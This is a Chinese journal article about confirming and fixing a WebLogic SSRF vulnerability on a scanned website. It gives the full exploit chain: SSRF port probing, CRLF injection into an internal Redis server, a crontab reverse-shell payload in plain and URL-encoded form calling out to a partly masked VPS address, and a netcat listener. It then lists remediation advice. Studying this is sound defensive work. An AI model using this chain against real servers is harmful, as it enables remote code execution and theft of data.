基于“Weblogic_SSRF漏洞”谈网络安全问题防范

2021-10-08 12:19朱勤风陈哲冯晓硕孙海波
中国新通信 2021年16期

朱勤风 陈哲 冯晓硕 孙海波

【摘要】    本文就工作中发现的一起“Weblogic_SSRF漏洞”,详细介绍了对该漏洞的验证过程,以及如何修复该漏洞,防止攻击者利用该漏洞对服务器进行远程执行代码,获得管理员权限、窃取用户数据等。

【关键词】    网络安全漏洞    Weblogic_SSRF    命令执行    VPS    netcat工具

引言:

互联网技术在带给人们方便快捷的同时,也出现了越来越多的网络安全漏洞。2021年5月下旬,受富士通安全事件影响,参与东京奥运会网络安全演习的约90家组织安全管理人员的个人信息泄露;据悉,为了应对2021年东京奥运会期间可能出现的网络攻击,日本国家网络安全中心召集约170位安全管理人员参与演习,他们的个人信息均遭泄露。目前距离东京奥运会正式开幕还有50天左右,组委会及日本政府正加大努力,以防止这场体育盛会遭受网络攻击 [1]。

服务端请求伪造(Server-Side Request Forgery),指的是攻击者在未能取得服务器权限时,利用服务器的漏洞,以服务器身份发送一条构造好的请求给服务器所在内网,对内网的端口和服务进行探测,进而实施不法活动。SSRF通常是攻击对外部网络无法直接访问的内部系统。

一、事件经过

笔者一直从事对网站的网络安全漏洞扫描工作,于2021年5月发现一起比较典型的Weblogic_SSRF漏洞,供读者参考。漏洞详细情况:漏洞名称为Weblogic_SSRF漏洞;漏洞数量1个;漏洞等级为高危;网站地址为:http://www.----.com:7001/uddiexplorer/ (“---”代表网站部分域名地址)。

二、验证过程

1.首先通过Web安全漏洞扫描工具,发现网站(http://www.----.com:7001/uddiexplorer/)存在Weblogic_SSRF漏洞。下面我们开始对这个链接地址进行漏洞验证,在验证时需要使用VPS(Virtual Private Server 虚拟专用服务技术)进行端口反弹,对服务器进行攻击使用。

2.开始验证,查看该漏洞所在目标页面,如图1所示。

图1    漏洞位置

3.我们抓取如下代码所示的请求包,对该请求进行分析。在该请求中operator参数是指对其它的url地址进行请求,测试该url地址是否存在SSRF漏洞。目的是对网络中的内网进行攻击,因为SSRF攻击对象通常是对外部网络无法直接访问的内部系统。请示代码如下:

POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1

Host: www.---.com:7001

……………(省略)

operator=http%3A%2F%2Fwww-3.ibm.com%2Fservices%2Fuddi%2Finquiryapi&rdoSearch=name&txtSearchname=111&txtSearchkey=111&txtSearchfor=111&selfor=Business+location&btnSubmit=Search

4.我們修改请求包中operator参数为http://127.0.0.1,并添加一个不存在的端口7000。请求后,在右侧的界面中,返回结果为不能连接到http://127.0.0.1,如图2所示。

图2    不能连接到指定的地址

图3    存在端口响应截图

5.我们修改请求包中operator参数为http://127.0.0.1,并添加一个存在的端口7001。请求后,在右侧的界面中,返回参数为404,说明已经连接到地址http://127.0.0.1,但是无法访问,如图3所示。

通过4、5两个步骤,我们可以发现:通过内网返回响应的参数不同来判断内网端口的开放情况(7000端口返回不能连接,7001端口返回404),进而知道内网服务的情况,从而加已利用。

6.Weblogic的SSRF有一个重要特征,即我们可以通过字符“%0a%0d”来注入换行,而某些服务(如redis)是通过换行符来分隔每条命令的,也就是说我们可以通过SSRF攻击内网中的redis服务器。下面我们进行演示,首先通过SSRF探测内网中的redis服务器。内网中的网段很多是以172开头的,对172开头的网段进行脚本探测,根据返回的结果来判断内网端口或者服务是否开启。探测内网地址以及关键端口的脚本网上有许多,我们是从该网址下载了一个:https://github.com/ZH3FENG/Weblogic_SSRF/blob/master/Weblogic_SSRF.py

运行脚本程序,探测结果如图4所示。

图4    脚本探测内网端口开放情况

7.从图4中我们可以看到,脚本运行后探测出IP地址为172.26.0.3:6379,端口为6379,服务为redis。我们将探测出的IP地址及端口写入第3步中的请求包中,运行后返回“did not have a valid SOAP content-type”,如图5所示。

图5    对内网开放端口进行访问测试

8.通过6379端口,我们给定时任务/etc/crontab中写入shell,shell如下:

Test

set 1 “\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c ‘sh -i >& /dev/tcp/175.--.---.240/21 0>&1\n\n\n\n”

config set dir /etc/

config set dbfilename crontab

save

aaa

9.将第8步中的shell命令进行url编码(注意,换行符是“\r\n”,也就是“%0D%0A”,“---”为部分公网地址),编码后结果如下:

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F175.--.---.240%2F7777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa

将编码之后的shell写入请求包的operator参数中,如图6所示,在VPS上执行”nc -lvnp 7777”对7777端口进行监听。nc是netcat的简写,有着网络界的瑞士军刀美誉,因为它短小精悍、功能实用,被设计为一个简单、可靠的网络工具,可以实现任意TCP/UDP端口的侦听,-l用于指定nc将处于侦听模式,-v显示指令执行过程,-n直接使用IP地址,而不通过域名服务器,-p<通信端口>设置本地主机使用的通信端口。

图6     编辑脚本对内网进行命令执行

10.监听目标服务器。执行第9步后,我们在VPS上执行“nc -lvnp 7777”命令,已经可以接收到目标服务器的shell,如图7所示。

图7     接收到目标服务器的shell

从上面的验证过程中,我们可以看到网站(http://www.---.com:7001/uddiexplorer/SearchPublicRegistries.jsp)存在Weblogic_SSRF漏洞。通過该漏洞我们可以在定时任务中写入shell,进行远程命令执行,使用nc工具监听端口,直接拿到当前用户的权限。

三、修复建议

1.过滤返回的信息。如果Web应用是去获取某一种类型的文件,那么在把返回结果展示给用户之前先验证返回的信息是否符合标准。

2.统一错误信息,避免用户可以根据错误信息来判断远程服务器的端口状态。

3.限制请求的端口,比如80、443、8080、8090等敏感端口。

4.禁止不常用的协议,仅仅允许http和https请求。可以防止类似于file://、gopher://、ftp://等引起的问题。

5.使用DNS缓存或者Host白名单的方式。

四、结束语

网络安全漏洞防护工作不是一劳永逸的,尤其是零日漏洞的存在,更是对网络安全造成重大危害。为了确保我们网站的安全,必须提高工作人员的责任心,定期对网站进行漏洞扫描工作,及时发现漏洞并修复,防止发生安全事件。这次发现的Weblogic_SSRF漏洞,可以对内外网的端口和服务进行扫描,攻击运行在内网或本地的应用程序等,危害巨大。

网络安全关系到国家的安全及发展。2021年6月10日,第十三届全国人民代表大会常务委员会第二十九次会议通过了《中华人民共和国数据安全法》,进一步规范了数据处理活动,保障数据安全,促进数据开发利用,保护个人、组织的合法权益,维护国家主权、安全和发展利益。网络安全无小事,必须做到防患于未然。

参  考  文  献

[1]互联网安全内参. 东京奥组委遭网络攻击,工作人员信息外泄.2020-09-27;